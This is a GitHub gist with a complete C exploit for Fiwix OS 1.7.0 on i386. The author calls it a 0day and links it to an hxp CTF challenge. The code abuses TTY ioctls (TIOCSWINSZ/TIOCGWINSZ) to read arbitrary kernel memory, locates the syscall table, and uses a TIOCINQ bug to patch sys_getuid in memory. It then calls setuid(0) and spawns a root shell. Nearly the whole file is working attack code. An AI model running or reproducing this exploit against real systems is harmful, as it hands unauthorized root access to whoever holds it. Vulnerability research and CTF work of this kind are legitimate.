Created
January 1, 2026 21:34
-
-
Save blasty/8bdda87758fd18c873534f0c3d7c5d49 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* | |
| * blasty-vs-fiwix.c -- by blasty <peter@haxx.in> | |
| * | |
| * 0day exploit for Fiwix OS i386 (tested on Fiwix 1.7.0) | |
| * | |
| * THEY HAVE PLAYED US FOR ABSOLUTE FOOLS! | |
| * DO NOT TRUST SMALL UNIX-LIKE KERNELS! | |
| * | |
| * Fiwix OS has multiple TTY ioctl vulnerabilities that allow | |
| * arbitrary kernel memory read and write. | |
| * | |
| * this exploit abuses TIOCGWINSZ ioctl to get arb read of kernel memory, | |
| * then locates the syscall table, finds sys_getuid, and patches it in-memory | |
| * using a bug in TIOCINQ ioctl to gain uid0, w00t w00t! | |
| * (note: original CTF challenge didn't require infoleak, I added it for funz) | |
| * | |
| * greetz fly out to: | |
| * - the Fiwix devs for writing a small UNIX-like kernel from scratcih | |
| * - hxp CTF organizers for hosting a fun CTF event during 39c3 ;) | |
| * - Andy Tanenbaum | |
| * | |
| * -- blasty | |
| */ | |
| #include <stdio.h> | |
| #include <string.h> | |
| #include <stdlib.h> | |
| #include <unistd.h> | |
| #include <fcntl.h> | |
| #include <stdint.h> | |
| #include <sys/ioctl.h> | |
| #include <termios.h> | |
| #define KERNEL_BASE 0xc0100000 | |
| #define TIOCGWINSZ 0x5413 | |
| #define TIOCSWINSZ 0x5414 | |
| #define TIOCINQ 0x541B | |
| int is_kernel_addr(uint32_t addr) | |
| { | |
| return (addr >= KERNEL_BASE && addr < (KERNEL_BASE + 0x00100000)); | |
| } | |
| int arb_read(uint32_t addr, uint8_t *out_buf, int len) | |
| { | |
| struct winsize leaked_data; | |
| int fd = open("/dev/tty", O_RDWR); | |
| if (fd < 0) | |
| { | |
| return -1; | |
| } | |
| if (ioctl(fd, TIOCSWINSZ, addr) < 0) | |
| { | |
| close(fd); | |
| return -2; | |
| } | |
| if (ioctl(fd, TIOCGWINSZ, &leaked_data) != 0) | |
| { | |
| close(fd); | |
| return -3; | |
| } | |
| memcpy(out_buf, (void *)&leaked_data, (len < 8) ? len : 8); | |
| close(fd); | |
| return 0; | |
| } | |
| int hax(uint32_t addr) | |
| { | |
| int fd = open("/dev/tty", O_RDWR); | |
| if (fd < 0) | |
| return -1; | |
| if (ioctl(fd, TIOCINQ, addr) < 0) | |
| return -2; | |
| close(fd); | |
| } | |
| uint32_t read32(uint32_t addr) | |
| { | |
| uint8_t buf[4] = {0}; | |
| arb_read(addr, buf, 4); | |
| return *(uint32_t *)buf; | |
| } | |
| int is_syscall_table(uint32_t addr) | |
| { | |
| for (int j = 0; j < 27; j++) | |
| { | |
| uint32_t val = read32(addr + j * 4); | |
| if ((j == 0 || j == 17 || j == 26)) | |
| { | |
| if (val != 0) | |
| return 0; | |
| } | |
| else if (!is_kernel_addr(val)) | |
| return 0; | |
| } | |
| return 1; | |
| } | |
| uint32_t find_syscall_table() | |
| { | |
| for (uint32_t addr = KERNEL_BASE; addr < KERNEL_BASE + 0x00100000; addr += 4) | |
| { | |
| if (is_syscall_table(addr)) | |
| return addr; | |
| } | |
| return 0; | |
| } | |
| int main(int argc, char *argv[]) | |
| { | |
| printf("\n\n** Fiwix TTY ioctl exploit by blasty <peter@haxx.in>**\n\n"); | |
| printf("[*] locating syscall table..\n"); | |
| uint32_t syscall_table = find_syscall_table(); | |
| if (syscall_table == 0) | |
| { | |
| printf("[-] Could not find syscall table\n"); | |
| return EXIT_FAILURE; | |
| } | |
| printf("[+] syscall_table = 0x%08X\n", syscall_table); | |
| uint32_t sys_getuid = read32(syscall_table + 0x17 * 4); | |
| printf("[+] sys_getuid = 0x%08X\n", sys_getuid); | |
| int stomp[] = {0xb, 0xf, 0x11, -1}; | |
| for (int i = 0; stomp[i] != -1; i++) | |
| { | |
| printf("[i] stomping 0x%X\n", sys_getuid + stomp[i]); | |
| if (hax(sys_getuid + stomp[i]) < 0) | |
| { | |
| perror("hax"); | |
| exit(EXIT_FAILURE); | |
| } | |
| } | |
| printf("[?] getting root..\n"); | |
| setuid(0); | |
| if (getuid() != 0) | |
| { | |
| fprintf(stderr, "Failed to get root!\n"); | |
| exit(EXIT_FAILURE); | |
| } | |
| char *a_argv[] = {"sh", NULL}; | |
| char *a_envp[] = {"PATH=/bin:/sbin:/usr/bin:/usr/sbin", NULL}; | |
| printf("[!] bl1ng bl1ng, w3 g0t it!\n"); | |
| execve("/bin/sh", a_argv, a_envp); | |
| return 0; | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment